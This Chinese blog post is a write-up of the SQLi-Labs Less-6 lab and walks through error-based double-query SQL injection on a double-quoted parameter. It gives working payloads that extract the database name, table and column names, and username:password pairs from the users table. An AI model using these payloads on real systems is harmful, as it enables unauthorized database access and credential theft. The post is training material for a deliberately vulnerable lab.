【SQLi-Labs】Less-6 Double Query- Double Quotes- String

本节实现原理和方法和Less-5基本一样,不同的是单引号变双引号,详见 【SQLi-Labs】Less-5 GET - Double Injection - Single Quotes - Stringicon-default.png?t=LA92https://blog.csdn.net/xw1995115/article/details/121329780?spm=1001.2014.3001.5501

本节复现下注入过程。

1.利用单引号尝试封闭查询语句,发现未报错

2. 利用双引号尝试封闭查询发现报错,因此为双引号封闭的查询语句

 3.根据报错信息提示,猜测后台查询语句

SELECT * FROM xxx where id = "$_GET['id']";

4.利用正常数据测试

 无报错也无数据,这种情况有可能是后台代码限制了输出,只执行,不回显;因报错信息能正常显示因此尝试利用报错信息获取所需的数据。

5.构造双注入查询语句

?id=1" union select 1,count(*),concat((select database()),floor(rand(14)*2)) as a from information_schema.tables group by a --+

获得数据库名:security

6.爆表名

?id=1" union select 1,count(*),concat((select table_name from information_schema.tables where table_schema='security' limit 1,1),floor(rand(14)*2)) as a from information_schema.tables group by a --+

 通过limit 1,1  limit2,1   limint3,1 分别获得security库的3个表名:referers、uagents、users

7.爆字段名

?id=1" union select 1,count(*),concat((select column_name from information_schema.columns where table_name='referers' limit 1,1),floor(rand(14)*2)) as a from information_schema.tables group by a --+

通过limit 得到referers表的两个字段 referer和ip_address,同理爆其他两张表的字段。

8.爆users表的数据

?id=1" union select 1,count(*),concat((select concat(username,0x3a,password) from users limit 1,1),floor(rand(14)*2)) as a from information_schema.tables group by a --+

 至此,本节结束

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值